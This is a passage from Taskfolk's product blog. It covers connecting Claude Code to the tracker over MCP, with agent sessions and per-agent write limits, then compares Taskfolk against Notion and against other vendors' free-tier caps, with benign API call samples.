| MIT + Commons Clause, free | Free tier; Pro $3/editor seat/mo as of July 2026 | Neither of these runs your agent. Task Master does not execute Claude Code, and neither does Taskfolk. Claude Code still runs on your machine or in CI; the tracker is where it reports in. Keep that straight, because it is the most common misread. If your work is a single agent chewing through a spec in one repo, the file model is lighter and there is no reason to reach for a server. If your work is agents that need to survive session boundaries, be seen by humans, and not clobber each other, a file is the wrong shape and you want a tracker. ## Giving Claude Code a real tracker over MCP Here is the mental model for the tracker approach: ```mermaid flowchart LR A[Claude Code] -->|MCP over HTTP| B[Taskfolk tracker] B --> C[Issues and board] B --> D[Agent sessions] D --> E[Human notifications] A -->|heartbeat| D ``` Claude Code talks to [Taskfolk](https://taskfolk.ai) over MCP. The agent becomes a real workspace member, it reads and writes issues, and it reports its own work as a session that humans can watch. Nothing about how Claude Code runs changes. What changes is that the record of work now lives somewhere durable, attributed, and observable. Connecting is one command. The product shows you this exact line in the agent Connect dialog and on the Developer > Skills tab, with a fresh scoped key filled in: ```bash claude mcp add --transport http taskfolk-product https://your-site/api/mcp/v1 \ --header "Authorization: Bearer YOUR_API_KEY" ``` ```javascript // Or wire it into an mcp.json for Cursor / Windsurf / VS Code: { "mcpServers": { "taskfolk-product": { "url": "https://your-site/api/mcp/v1", "headers": { "Authorization": "Bearer YOUR_API_KEY" } } } } ``` ```python # Or hit the same REST surface directly from a runner: import requests requests.get( "https://your-site/api/v1/workspaces/acme/agent-sessions", headers={"Authorization": "Bearer YOUR_API_KEY"}, params={"state": "review"}, # which agents are ready for review ) ``` ![Taskfolk Developer page Skills tab showing the Claude Code connect command and downloadable agent skill](/images/blog/how-to-install-taskfolk-as-an-agent-skill-skills-claude-code.webp) The [MCP server](/mcp) lives at `POST /api/mcp/v1` (Streamable HTTP, with `GET` for SSE notifications) and authenticates with the same bearer API key as the REST API. The nice property under the hood: an MCP `tools/call` re-enters the REST pipeline in-process, so there is no second copy of auth, scoping, or rate-limiting to drift. The 155 registered v1 REST operations each become a snake_case MCP tool, and `tools/list` is filtered by your key's scopes, so an agent only sees the tools it is allowed to use. If you want the full comparison of the two wire formats, we wrote that up in [MCP or REST for your agent](/blog/mcp-or-rest-api-for-your-agent); the short version is that MCP is the path for Claude Code and the REST surface is there when you need raw HTTP. The step-by-step connect walkthrough is in [how to connect an AI agent](/docs/how-to-connect-an-ai-agent), and the skill-file route (dropping a `SKILL.md` into `~/.claude/skills/`) is covered in [installing Taskfolk as an agent skill](/docs/how-to-install-taskfolk-as-an-agent-skill). ![Agent hub in Taskfolk showing a connected Claude Code agent as a workspace member](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) ## Sessions: the piece a markdown file cannot have This is the part that actually answers the three jobs from the top, so it is worth slowing down. When an agent starts working, it opens a **session**. A session is a small record: a title, the issue it is working on, an optional progress note, and a link (a PR URL, usually). The agent creates one with a single call: ```bash curl -X POST https://your-site/api/v1/workspaces/acme/agent-sessions \ -H "Authorization: Bearer YOUR_API_KEY" \ -H "Content-Type: application/json" \ -d '{"title":"Fix login redirect","issue_key":"WEB-42","note":"reproducing"}' ``` ```javascript await fetch("https://your-site/api/v1/workspaces/acme/agent-sessions", { method: "POST", headers: { Authorization: "Bearer YOUR_API_KEY", "Content-Type": "application/json", }, body: JSON.stringify({ title: "Fix login redirect", issue_key: "WEB-42", note: "reproducing", }), }); ``` ```python import requests requests.post( "https://your-site/api/v1/workspaces/acme/agent-sessions", headers={"Authorization": "Bearer YOUR_API_KEY"}, json={"title": "Fix login redirect", "issue_key": "WEB-42", "note": "reproducing"}, ) ``` The response is the session resource: ```json { "id": "0198f2a1-7c3e-7b41-9d2a-1c4e5f6a7b88", "agent_id": "0198f29c-4a11-7c02-8e3d-9b2c1a0f5d44", "state": "running", "title": "Fix login redirect", "note": "reproducing", "external_url": null, "issue_key": "WEB-42", "started_at": "2026-07-16T09:14:22.000Z", "last_activity_at": "2026-07-16T09:14:22.000Z", "ended_at": null } ``` From there, every `PATCH` to that session is a heartbeat. It bumps `last_activity_at`, and it can carry a new progress note, a state change, or the PR link in `external_url` when the work is ready. The session moves through a small set of states: `pending`, `running`, `needs_input`, `review`, `done`, `failed`, `cancelled`. `done`, `failed`, and `cancelled` are terminal (they set an end time). A `running` session that has not sent a heartbeat in 30 minutes renders as stalled, which is derived at read time rather than written, so a crashed agent shows up as stale on its own. ![Agent sessions list in Taskfolk showing sessions with their live states](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) Now the three jobs are done. State survives because it lives in the tracker. Attribution is built in because the session belongs to an agent that is a real member. And humans get pushed to: when a session enters `needs_input`, `review`, `done`, or `failed`, Taskfolk fans out in-app notifications to the agent's owner and to the issue's reporter, assignee, and watchers. Nobody has to open a file to learn the agent is blocked. There is also a per-agent SSE stream (`GET /api/v1/workspaces/acme/agent-events`) that pushes assignments, mentions, and session state changes back to the agent runtime, so the loop runs both directions. ![Agent session states in Taskfolk: pending, running, needs input, review, done](/images/blog/manage-a-team-of-ai-agents-states.webp) One detail that closes a loop file-based tools leave open: if you assign an issue to an agent, Taskfolk auto-creates a `pending` session on that issue. When the agent later posts its own session for that issue key, it *claims* the pending row instead of making a duplicate, so the hub shows one continuous timeline from "human delegated this" to "agent finished." Unclaimed delegations sit pending for up to 7 days, then a worker cancels them. That whole handoff is covered in [delegating work to an agent](/docs/how-to-delegate-work-to-an-agent). ## Guardrails a file cannot enforce A markdown checklist trusts whoever holds the pen. A tracker can constrain what an agent is allowed to touch, which matters a lot more once the agent is writing to shared state. Taskfolk has per-agent field permissions (`field_policy_json`), an allowlist over 14 issue-field tokens: `title`, `description`, `status`, `priority`, `assignee`, `labels`, `milestone`, `sprint`, `release`, `estimate`, `spent`, `completion`, `start_at`, `due_at`. A null policy means the agent can write every field. A narrow policy means it cannot, for example, reassign work or change a release even though it can move status and add labels. That rule is enforced at the single API write choke point that covers REST, transitions, and MCP alike, so there is no back door where one path skips the check. ![Per-agent field policy dialog in Taskfolk, an allowlist of writable issue fields](/images/blog/manage-a-team-of-ai-agents-policy-dialog.webp) Be honest about the shape of this guard, though. It is per-field, not per-value (it cannot say "only set priority to low"), it covers issue fields only, and it guards the agent's own key, not an admin. Create, delete, and non-issue resources are governed by API scopes plus roles instead. It is a meaningful fence, not a sandbox. There is a second guardrail worth naming because it admits its own limit. A `review` or `done` session that has no attributed activity or comment on its issue gets an "unverified" badge, derived at read time. It is a useful smell test: an agent that claims done but left no trace on the issue is flagged. What it cannot do is prove the code work actually happened. Taskfolk is the tracker, not the runner, so the session states and heartbeats are self-reported by the agent calling the API. The unverified badge catches the obvious mismatch; it does not verify the diff. That honesty is the point, and human-in-the-loop review is where a person still belongs, which we cover in [human-in-the-loop approval for AI agents](/docs/human-in-the-loop-approval-for-ai-agents). ![Unverified badge on an agent session with no attributed work on its issue](/images/blog/manage-a-team-of-ai-agents-verify-badge.webp) The payoff of moving off a file is that all of this lands on a real board humans already know how to read. The agent's tasks are issues, in columns, with the same views a person uses. ![Kanban board in Taskfolk with agent-worked issues sitting alongside human work](/images/blog/human-in-the-loop-approval-for-ai-agents-board.webp) ## When to keep the file, when to get a tracker A short decision guide, because the answer is genuinely "it depends." | Your situation | Reach for | |---|---| | One agent, one repo, one session, bounded job | A markdown file or Task Master | | You need a PRD expanded into a task tree | Task Master (`parse-prd`) | | Work must survive across sessions | A tracker | | Humans need to see status without your terminal | A tracker | | More than one agent writing shared state | A tracker | | You want per-agent write limits and attribution | A tracker | | No account, no setup, offline | A file | The setup cost is the real trade. A file is free and instant. A tracker needs a workspace and an API key with `agents:read` and `agents:write` scopes, which is more than dropping JSON in a repo even though the connect itself is one command. Taskfolk's free tier covers a lot (5 active projects, 128 MB storage, 1 MB per file, 25 AI credits a month, and sprints, timeline, integrations, reporting, and AI are all included), and Pro is $3 per editor seat per month as of July 2026, with agents and viewers always free seats. Automations, custom roles, SSO, and audit log sit on the paid plans. Auth is magic-link only (no passwords). If you have hit the point where your agent's `TODO.md` is quietly losing work between sessions, that is the signal to give it a tracker. Connect Claude Code with one `claude mcp add` line and let the sessions carry the state your file could not. --- # A Notion alternative for project management (docs plus a tracker) URL: https://taskfolk.ai/blog/notion-alternative-for-project-management Published: 2026-07-16 Updated: 2026-07-28 Author: The Taskfolk team Tags: alternatives, knowledge base, AI agents, comparison, workflow A Notion alternative that keeps your docs and adds a real tracker: category-backed statuses, native sprints with carryover, computed burndown, agents over MCP. Notion pages are a pleasure to write in. That is the whole problem, and it is why so many teams end up searching for a **Notion alternative for project management** that keeps the docs but adds a real tracker. Your specs, RFCs, and meeting notes pile up in Notion because writing there feels good. Then someone tries to run the actual work in a Notion database, and the seams show. A Status property is a colored tag, not a workflow with categories that know what "done" means. There is no sprint you can start and close, no burndown, no velocity. Automations live inside one database and cannot reach across, so a change to a spec page can't nudge the task that depends on it. So teams bolt a second tool onto the side, Linear or Jira or a spreadsheet, and now the docs and the tracker drift apart, held together by copy-pasted URLs that rot the moment someone renames a page. You probably don't hate Notion. You hate the duct tape. This post is for the person who wants to keep the docs they love and gain a tracker that behaves like a tracker. One honest frame first: Notion is excellent at what it is. Its database ceiling is high (a single database holds up to 250,000 rows, as of July 2026), so this is not a "Notion collapses at small scale" argument. It doesn't. The critique is about tracker semantics, the difference between a tag that says "In review" and a workflow that knows "In review" is not "Done." ## Where Notion's databases-as-tracker start to wobble Give Notion credit first, because it earns it. The project-management story via database views is real: table, board (Kanban), timeline, calendar, list, and gallery views over the same rows, a purpose-built Status property that groups options into To-do / In-progress / Complete, and a Tasks-Projects-Sprints template that wires a task-to-sprint relation. As of July 2026, a small team can genuinely run work in Notion, and many do. And the ceiling is high, not low. A single Notion database holds up to 250,000 rows; Notion warns you as you approach the limit and blocks adding rows at or over it (API requests return an error near the cap). Each page is capped at 2.5MB of property data. Those are real numbers, and for most teams they are not the thing that hurts. So put the "it falls over" argument down. It wobbles, and the wobble is semantic. Three specific places: 1. **Status is a property, not a workflow-category system.** A Notion status option is a colored tag with a group label. Nothing structurally distinguishes "In review" from "Done" in a way reports can trust. Ask "how many issues are actually resolved this sprint" and you are counting tags, hoping everyone used them the same way. There is no category backbone a report can lean on. 2. **No native sprint object, no burndown or velocity as first-class.** The Sprints template gives you a relation and some rollups, but a sprint is not an object with a start date, an end date, a state you move through (planned, active, completed), and automatic carryover of incomplete work. Burndown and velocity aren't drawn for you, because the object isn't there. You assemble them, or you go without. 3. **Automations run inside a single database.** Notion has a public API and database automations, but those automations operate within one database and cannot trigger actions across databases. A change on a spec page in your Docs database cannot move a linked task in your Tasks database. The two things that should talk to each other are walled off. That third one is the quiet killer. It is exactly the gap that pushes teams to bolt a second tracker onto the side, and the drift starts the same day. ## What a "real tracker" actually means (the checklist) Before comparing anything, decide what bar you are holding a tool to. Here is the checklist I would hand any Notion alternative for project management, and I will measure the rest of this post against it so it is not just vibes. A real tracker has: 1. **Workflow statuses with a category backbone**, not just tags, so open / done / resolved is a system the software enforces, not a convention your team agrees to and then forgets. 2. **Per-column WIP limits and allowed-transition rules**, so the board enforces process instead of just displaying it. 3. **Real sprints**: planned / active / completed, with start and end dates and automatic carryover of incomplete issues when you close one. 4. **Reports that are computed, not assembled by hand**: a status donut, a burndown, workspace insights, drawn from the data rather than pasted into a page. 5. **A Kanban board with drag-and-drop, a ranked backlog, and a filterable list**, plus issue types (epic, story, task, bug) with parent/child subtasks. 6. **Docs that live next to the work**, in the same tool, not a separate app linked by URLs. Here is how Taskfolk maps to that bar, so you can check the work: | The bar | How Taskfolk does it | |---|---| | Category-backed statuses | `project_statuses` holds per-project named, colored, ordered columns, each mapped to one of 7 fixed semantic categories (Jira's status vs status-category split) | | WIP + transitions | Per-column `wip_limit` and per-status `allowed_transitions` rules, enforced on every status write path | | Real sprints | Sprints with planned/active/completed states, start/end dates, and carryover of incomplete issues on completion | | Computed reports | Per-project Reports and a Summary page (status donut + burndown), plus a workspace Insights page, built on Recharts | | Board + backlog + list | Kanban with optimistic drag-and-drop, a ranked backlog, a filterable list, and epic/story/task/bug/subtask types | | Docs beside the work | Workspace Knowledge base plus per-project Docs (more on this below) | ![Custom workflow statuses configured in a project's Board statuses settings tab](/images/blog/custom-workflow-statuses-board-statuses-tab.webp) Keep that checklist. It works against any tool you evaluate, not just this one. If the status row is the one you care about most, [custom workflow statuses](/docs/custom-workflow-statuses) goes deeper on the category split. ## Keep the docs: workspace knowledge base plus per-project docs The "keep the docs you love" half of the pitch only counts if it is told honestly, so here is the honest version. Taskfolk has two doc surfaces: a workspace-level Knowledge base and per-project Docs. The distinction is one column: `docs.project_id` is NULL for a workspace knowledge page and set for a project doc. Pages nest via `parent_id` and order with LexoRank, so you build a real tree, not a flat list. The editor is a block editor (BlockNote is the source of truth in `body_json`) with a flattened markdown mirror (`body_md`) that powers search and export. You get version history snapshots with restore, threaded per-doc comments, and templates out of the box: Meeting notes, RFC, Status update, Retrospective, and Decision log. ![The workspace knowledge base with nested doc pages in Taskfolk](/images/blog/how-to-write-project-docs-workspace-knowledge.webp) One thing that matters for the "no more rotting URLs" complaint: an issue can reference a doc inline. Drop a `#d:` doc-ref token into an issue and it renders as a named chip linking straight to the spec that governs the work, so renaming the doc doesn't break the link. Now the limit, stated plainly because you should hear it from me and not discover it later. Taskfolk's docs are a strong project knowledge base, not a full Notion replacement for general-purpose wiki or CMS use. Specifically: - No databases-as-content. Notion's superpower is turning a database into a page of content with gallery cards and filtered views. Taskfolk docs don't do that. - No gallery or timeline views of pages. - No public-website page publishing. Sharing is inside the workspace; the public surfaces are forms and the feedback board, not docs. - Fewer block types than Notion, and no claim of multiplayer-cursor co-editing. These are a versioned knowledge base with comments, not a live co-editing canvas. So the pitch is precise: keep your project docs next to a real tracker, not "replace every Notion use case." For the deeper mechanics, [how to write project docs](/docs/how-to-write-project-docs) walks through it. ## Gain a real tracker: statuses, sprints, and reports Here is the half Notion's database views can't quite reach. **Custom workflow statuses.** The `project_statuses` table holds per-project named, colored, ordered columns. Each maps to exactly one of the 7 semantic status categories, which is Jira's status vs status-category split. That split is the whole point: your board can show "Code review," "In QA," and "Awaiting sign-off" as three columns, and the software still knows all three roll up to the same category, so `is_open`, `resolvedAt`, and every report stay correct no matter how you name them. Each column can also carry a WIP limit, and each status can define which transitions are allowed, both enforced on every write path, not just in the UI. That is a workflow, not a tag. **Real sprints.** A sprint is an object with planned, active, and completed states and real start and end dates. Complete a sprint and incomplete issues carry over to the next one automatically, instead of vanishing or silently staying "open forever." That is the behavior a Notion sprint relation approximates but does not own. [How to run a sprint](/docs/how-to-run-a-sprint) covers the full lifecycle. **Real reports.** Per-project Reports and a Summary page give you a status donut and a burndown, plus a workspace-level Insights page across projects. These are built on shadcn's Chart component over Recharts, computed from the data, not a screenshot pasted into a page. They are trustworthy because the categories underneath them are real. [Project reports and insights](/docs/project-reports-and-insights) shows what each chart is drawn from. ![The Kanban board overview with drag-and-drop columns in Taskfolk](/images/blog/how-to-use-a-kanban-board-overview.webp) The board above is the anchor: columns are your custom statuses, cards drag between them optimistically, and the backlog and filterable list sit one click away. The sprints page (planned/active/completed with carryover) and the reports grid (donut plus burndown) turn that board into something you can actually run a sprint on. For the full walkthrough, see [how to use a Kanban board](/docs/how-to-use-a-kanban-board). And because Taskfolk's automations act across the workspace rather than inside one database, an issue-created rule can route work and a doc change can wake the task that depends on it. That cross-database gap is exactly the one Notion leaves open; [how to set up automations](/docs/how-to-set-up-automations) has the rule builder. ## Notion vs Taskfolk: the honest comparison (pricing and semantics) Prices below are stated as of July 2026 from verified research. Where a Notion fact is not in that research, I left it out rather than guess. The condensed head-to-head is at [Taskfolk vs Notion](/vs/notion). | | Notion | Taskfolk | |---|---|---| | Entry paid tier | Plus: $10/member/mo annual ($12 monthly) | Pro: $3/mo ($30/yr) per editor seat | | Next tier | Business: $20/member/mo annual ($24 monthly) | Business: $6/mo ($60/yr) per editor seat | | Free plan | Yes, with limits | Yes, feature-complete; capacity is the only ceiling | | Viewers | Counted per member | Always free, never billed | | Workflow statuses | Status property (a category-grouped tag) | Category-backed workflow system (`project_statuses`) | | Native sprints / burndown | Template relation; no first-class burndown/velocity | Native sprints (planned/active/completed + carryover) and computed burndown | | Cross-database automation | Automations run within a single database only | Automations act across the workspace, including a doc/issue link | | File uploads | 5 MB on Free; unlimited on paid | Metered by plan storage (Free 128 MB) | | Version history | 7d Free / 30d Plus / 90d Business / unlimited Enterprise | Doc version snapshots with restore on all plans | | SSO / provisioning | SAML SSO on Business; SCIM + audit log Enterprise-only | Available on paid plans | | AI | Notion AI incl. the Notion Agent is Business/Enterprise only (Free/Plus get a limited trial); advanced AI is usage-based at $10 per 1,000 monthly credits on top of subscription | Credit-metered: Free 25, Pro 5,000, Business 20,000 credits/mo; connected agents are free members | | Database / row ceiling | Up to 250,000 rows per database | Issues are relational, not a single-database row cap | Three rows are really the same distinction in different clothes: statuses are a tag in Notion and a category-backed system in Taskfolk; sprints are a template relation versus a first-class object with carryover; automations stay inside one Notion database versus acting across the whole Taskfolk workspace, which is what lets a doc and an issue talk to each other. The fourth row is the one people miss: **agent pricing.** In Notion, the Notion Agent and Notion AI are gated to Business and Enterprise, and advanced AI is metered on top at $10 per 1,000 monthly credits (as of July 2026). In Taskfolk, a connected AI agent is a workspace member with `is_agent=1` and is never billed a seat. If you plan to put agents on your project data, that difference compounds fast. There is a whole post on it: [do AI agents count as seats](/blog/do-ai-agents-count-as-seats). Be fair about where Notion wins: its per-database row ceiling is high, and its docs library is genuinely deeper and more flexible than Taskfolk's. If your center of gravity is documents, that matters. ## Agents that read the docs, not just the tracker This is the part that is genuinely different, so it is worth being concrete. Taskfolk ships a first-party MCP server named "Taskfolk." Its tools are derived from the OpenAPI registry, so an agent connected over MCP gets the full REST surface as tools, not a hand-picked subset someone remembered to expose. Docs are part of that surface: they carry `docs:read` and `docs:write` scopes and cover list, detail, create, bulk, patch, export, comments, and versions. Workspace search is one endpoint under `search:read` that covers issues and docs together, Typesense-backed and typo-tolerant, and it is an MCP tool too. Put those together and an agent can do what Notion's setup makes awkward: search the knowledge base, read the RFC it finds, then act on the issue that RFC governs, following the `#d:` chip from issue to doc. Docs and tracker are one graph to the agent, not two apps stitched by a link. Here is the main call: search the workspace, then list docs. The endpoints are `GET /v1/workspaces/{slug}/search?q=...&types=issue,doc` (scope `search:read`) and `GET /v1/workspaces/{slug}/docs` (scope `docs:read`). ```bash # 1) Search issues AND docs in one call curl -s "https://taskfolk.ai/api/v1/workspaces/acme/search?q=rate%20limit&types=issue,doc" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" # 2) List docs (workspace knowledge base) curl -s "https://taskfolk.ai/api/v1/workspaces/acme/docs" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" ``` ```javascript const base = "https://taskfolk.ai/api/v1/workspaces/acme"; const headers = { Authorization: "Bearer " + process.env.TASKFOLK_API_KEY }; // 1) Search issues AND docs in one call const q = encodeURIComponent("rate limit"); const hits = await fetch(base + "/search?q=" + q + "&types=issue,doc", { headers, }).then((r) => r.json()); // 2) List docs (workspace knowledge base) const docs = await fetch(base + "/docs", { headers }).then((r) => r.json()); ``` ```python import os, requests from urllib.parse import quote base = "https://taskfolk.ai/api/v1/workspaces/acme" headers = {"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"} # 1) Search issues AND docs in one call hits = requests.get( f"{base}/search?q={quote('rate limit')}&types=issue,doc", headers=headers, ).json() # 2) List docs (workspace knowledge base) docs = requests.get(f"{base}/docs", headers=headers).json() ``` The search response interleaves both types in one ranked list (issue and doc rows carry different fields, exactly as the API serializes them): ```json { "data": [ { "type": "issue", "key": "API-142", "id": "0192f3c1-9a4b-7de0-8c11-2b7f0a5e9d33", "title": "Rate limit returns 500 instead of 429", "project_key": "API", "project_slug": "api", "project_name": "Public API", "issue_type": "bug", "status": "in_progress", "priority": "high", "updated_at": "2026-07-14T09:12:44.000Z" }, { "type": "doc", "id": "0192f3bd-77aa-7c02-9f5e-c1a0b8e42210", "title": "RFC: rate limiting v2", "icon": null, "project_slug": "api", "updated_at": "2026-07-13T16:40:02.000Z" } ], "pagination": { "next_cursor": "eyJvZmZzZXQiOjJ9" } } ``` And the docs list returns the knowledge base pages, body and all: ```json { "data": [ { "id": "0192f3bd-77aa-7c02-9f5e-c1a0b8e42210", "title": "RFC: rate limiting v2", "icon": null, "parent_id": null, "project_id": null, "body_md": "# RFC: rate limiting v2\n\nWe move to a token bucket per API key...", "created_at": "2026-07-10T11:03:20.000Z", "updated_at": "2026-07-13T16:40:02.000Z" } ], "pagination": { "next_cursor": null } } ``` ![The developer skills tab showing the one-command MCP install that gives an agent the API surface](/images/blog/how-to-install-taskfolk-as-an-agent-skill-skills-claude-code.webp) Contrast this honestly with Notion. Notion's agent is capable, but it is gated to Business and Enterprise and metered on top. Connecting an agent to Taskfolk costs no seat at all. And the governance is real, not a promise on a marketing page. Each agent can be pinned to an allowlist of issue fields it may write (per-agent field-write permissions), enforced at the single API write choke point every write funnels through, so an agent that should only touch status and comments cannot quietly reassign work. A review or done session with no attributed activity earns a read-time "unverified" badge, so a human can spot an agent that marked something complete without doing the work. [Give your AI agent a knowledge base](/blog/give-your-ai-agent-a-knowledge-base) covers the docs-over-MCP path end to end. ## When to stay on Notion I would rather you make the right call than switch and regret it, so here are the honest reasons to stay put. Stay on Notion if your primary need is a general-purpose wiki or a lightweight CMS. If you lean on databases-as-content, gallery and timeline views of pages, or publishing to a public website, Taskfolk does not do those and is not trying to. Stay if you rely on Notion's deep block library or live multiplayer co-editing. And stay if your docs sprawl well beyond project work into full company-wiki territory, because Taskfolk's docs are deliberately a project knowledge base, not a Notion-scale everything-doc. There is also a migration reality. Moving a deep Notion workspace means bringing over prose and structure, not arbitrary database views and property-heavy pages one-to-one, because Taskfolk's model is a relational tracker plus docs, not a database-as-page canvas. If most of your Notion value is in clever databases, that value largely stays in Notion. Here is the quick decision guide: ```mermaid flowchart TD A[What is your center of gravity?] --> B{Mostly docs and wiki?} B -->|Yes, and public pages or databases-as-content| C[Stay on Notion] B -->|Docs plus real project tracking| D{Need sprints, burndown, workflow statuses?} D -->|Yes| E[Taskfolk: keep docs, gain a tracker] D -->|No, tags are enough| F[Notion databases are fine] A --> G{Putting AI agents on the work?} G -->|Yes, cost-sensitive| E ``` If you read that and stay on Notion, good. The advice was meant to be usable either way. And if Taskfolk is not the right fit either, the ranked [Notion alternatives](/alternatives/notion) roundup covers the rest of the field. ## How to move without losing the docs If the tracker side is what you came for, here is the realistic sequence. It is not a byte-for-byte mirror, and I won't pretend it is. 1. **Export the prose and structure from Notion.** Pages become Taskfolk docs. The templates map cleanly: an RFC becomes an RFC, meeting notes become meeting notes, and the nested structure comes across as a page tree. 2. **Stand up projects and their custom statuses** to match how the team actually works, not how a default template thinks you should. This is where you finally get the columns you always wanted, backed by real categories. 3. **Import the tracker rows as issues** via CSV or a service import. The rows that were pretending to be a tracker in a Notion database become actual issues with types, statuses, and assignees. 4. **Reconnect the links.** Reference docs from issues with the `#d:` chip so the spec and the work that implements it are tied together in one tool, not by a pasted URL. Be clear-eyed about the seams: database views and property-heavy Notion pages won't come across as-is. What you get is a clean tracker with the docs sitting right beside it, which is what most people looking for a Notion alternative for project management were actually after. One thing that lowers the friction: auth is magic-link only, so there are no passwords to provision. For the specifics of bringing your data over, [how to import your project](/docs/how-to-import-your-project) has the step-by-step. ![Project reports and workspace insights shown in the reports grid](/images/blog/project-reports-and-insights-reports-grid.webp) Keep the docs you love, gain a tracker that behaves like one. If that trade sounds right, [import your project](/docs/how-to-import-your-project) and stand up your first board. --- # Free project management software: what the free tiers give you URL: https://taskfolk.ai/blog/free-project-management-software-honest-guide Published: 2026-07-16 Updated: 2026-09-24 Author: The Taskfolk team Tags: pricing, small teams, project management, comparison, Taskfolk What the free tiers of Trello, Asana, ClickUp, Notion and Jira actually give you, which cap stops a small team first, and how Taskfolk Free compares. Every project management tool has a pricing page with a big "$0" column, and every one of those columns is hiding something. If you are searching for free project management software because you are a two-person side project, a five-person startup, or a team that just does not want to talk to procurement yet, the marketing copy will not tell you what actually stops you. The caps will. Asana's free plan now tops out at 2 users. Notion's free tier caps shared workspaces at 1,000 blocks. Trello gives you boards but locks the timeline behind a paywall. This guide reads the fine print on the five big free tiers (verified against their official pricing pages as of July 2026), then puts Taskfolk's free plan under the same light, including the parts that will not flatter us. The good news is that all of these free plans are real. Nobody is running a bait-and-switch. The bad news is that "free" is the top of a funnel, and the shape of the funnel is the actual product decision. So the useful question is never "is there a free plan." It is "which wall do I hit first, and how soon." ## Free plans are real, but the ceilings are the product Vendors do not offer free tiers out of generosity. A free tier is an acquisition channel: it gets your team in, gets your work inside their walls, and lets the switching cost do the selling later. That is not a criticism. It is the incentive, and knowing it tells you where to look. The interesting part of any free plan is the ceiling, because the ceiling is designed to be exactly high enough to be useful and exactly low enough to make you pay when you grow. There are three families of ceiling worth watching, and most tools lean on one or two of them. The first is people caps: how many humans can collaborate before you have to upgrade. This is the fastest killer, because a team is a team the day it forms. If the cap is 2 and you are 4, the free plan is over on day one. The second is feature caps: which views, which automations, which reports are switched off. This is quieter. Your board works fine for a month, then you need a Gantt for a deadline, the Gantt is a paid feature, and now you are on a sales call. The third is capacity caps: total storage, per-file size, number of records or blocks. These creep. You do not notice them until an upload bounces or a workspace stops letting you add a page. Here is the honesty contract for this post. Every rival number below comes from that vendor's official pricing page or help docs as of July 2026, and I have kept the "as of July 2026" framing because these tiers move. When it is Taskfolk's turn, the same numbers get the same scrutiny, and there is a section near the end whose only job is to name where Taskfolk Free is worse than the alternatives. If a comparison cannot survive that treatment, it is not worth publishing. ## Free project management software compared, July 2026 Here is the whole field on one screen. Read across for what each free tier gives you, then down to the second block for the first paid step (the moment the "$0" ends). | Tool (free tier) | People | Storage / per-file | Views included free | Automation | Notable cap | |---|---|---|---|---|---| | **Trello** Free | 10 collaborators / Workspace | Unlimited storage, 10 MB/file | Board only (Timeline, Calendar, Table, Dashboard, Map are paid) | 250 Workspace command runs/mo | 10 boards per Workspace | | **Asana** Personal | 2 users (new accounts); legacy accounts grandfathered at 10 | Unlimited storage, 100 MB/file | List, board, calendar (no timeline/Gantt, no dashboards) | None on free | Unlimited tasks and projects | | **ClickUp** Free Forever | Unlimited members | 60 MB total | Board, list, calendar; full Gantt, dashboards, custom fields gated | Gated (paid) | 60 MB storage, 1 form | | **Notion** Free | 10 guests | 5 MB/file | Docs/database views | n/a | Unlimited blocks solo, but 1,000 blocks with 2+ workspace owners; 7-day history | | **Jira** Free | 10 users | 2 GB | Backlog, list, board, timeline, calendar, summary | 100 rule runs/mo | Community-only support | | **Taskfolk** Free | Editor seats (viewers free, agents free) | 128 MB total, 1 MB/file | Board, backlog, list, calendar, timeline (Gantt), reports | None on free (paid feature) | 5 active projects, 25 AI credits/mo | And the first paid dollar for each, so you can see where the ramp starts: | Tool | First paid plan | Price (billed annually), as of July 2026 | |---|---|---| | Trello | Standard | $5 / user / month ($6 monthly) | | Asana | Starter | $10.99 / user / month ($13.49 monthly) | | ClickUp | Unlimited | $7 / user / month | | Jira | Standard | $7.91 / user / month | | Taskfolk | Pro | $3 / editor seat / month ($30 / year) | A few things jump out of that grid before we even analyze it. Jira Free is the most feature-complete incumbent free tier: 10 users, 2 GB, and real planning views (including a timeline) with no per-view paywall. Trello and Asana both restrict you to a board or list on free and put the timeline behind money. And the free tiers split hard on capacity: ClickUp's 60 MB and Taskfolk's 128 MB are small numbers, while Jira's 2 GB and the "unlimited storage" claims from Trello and Asana are large, though those unlimited claims come with per-file caps that matter more than the total for most teams. ## The caps that actually stop a small team The table tells you what exists. Experience tells you what bites. Here is which limit tends to end the free ride first, tool by tool. **Asana's 2-user cap is the bluntest.** On any account created after November 12, 2025, the free Personal plan tops out at 2 collaborators. If you made your account earlier you are grandfathered onto a Legacy Personal plan that still allows up to 10, which is genuinely generous, but new teams do not get that. So for a brand-new 4-person team, Asana Free is not a team plan at all. It is a two-seat plan with unlimited tasks, which is a strange shape unless you are a pair. **Notion's 1,000-block shared-workspace cap arrives faster than you would expect.** A block is a paragraph, a heading, a to-do line, a table row. Solo, you get unlimited blocks. But the moment a workspace has 2 or more workspace owners, the free ceiling drops to 1,000 blocks, after which you cannot create new content until someone upgrades. A few weeks of real note-taking and a couple of databases will clear 1,000 blocks without trying. Notion Free is a fantastic single-player tool and a short-lived multiplayer one. **Three of the five gate the timeline.** Trello Free and Asana Personal do not include a timeline or Gantt view at all, and ClickUp gates full Gantt charts and dashboards behind its paid plans. So if "free planning" means anything more than a board, you are down to Jira and Taskfolk on this list. That is the single most surprising thing in the whole comparison: a dependency-aware Gantt on a free plan is rare. **Jira Free is the generous incumbent, with one metered edge.** Ten users, 2 GB, and the full set of planning views (backlog, board, timeline, calendar, summary) all work for nothing. The catch is automation: 100 rule runs per month, then it stops until the next cycle or an upgrade. For a small team that is often plenty. For a team that automates aggressively, 100 runs disappear in the first week. If you want to route yourself quickly, start from the thing that would block you and follow it out. ```mermaid flowchart TD A[What would block you first?] --> B[Need more than 2 people] A --> C[Need a Gantt or timeline for free] A --> D[Need automation on the free plan] B --> E[Skip Asana Personal on a new account] B --> F[Trello, ClickUp, Jira, Taskfolk all clear this] C --> G[Only Jira Free and Taskfolk Free ship a free timeline] D --> H[Trello 250 runs or Jira 100 runs, metered] D --> I[Taskfolk Free has no automation, it is a paid feature] ``` If Jira's paid step is where this leads you, its per-seat pricing is worth weighing carefully against the alternatives. There is a fuller breakdown in [Jira alternatives by price per seat](/blog/jira-alternatives-price-per-seat), and a broader field survey in [the best AI project management software, honestly ranked](/blog/best-ai-project-management-software). ## Where Taskfolk Free sits: every feature on, capacity capped Most free tiers gate features and keep capacity loose (Trello and Asana both advertise unlimited storage). Taskfolk does the 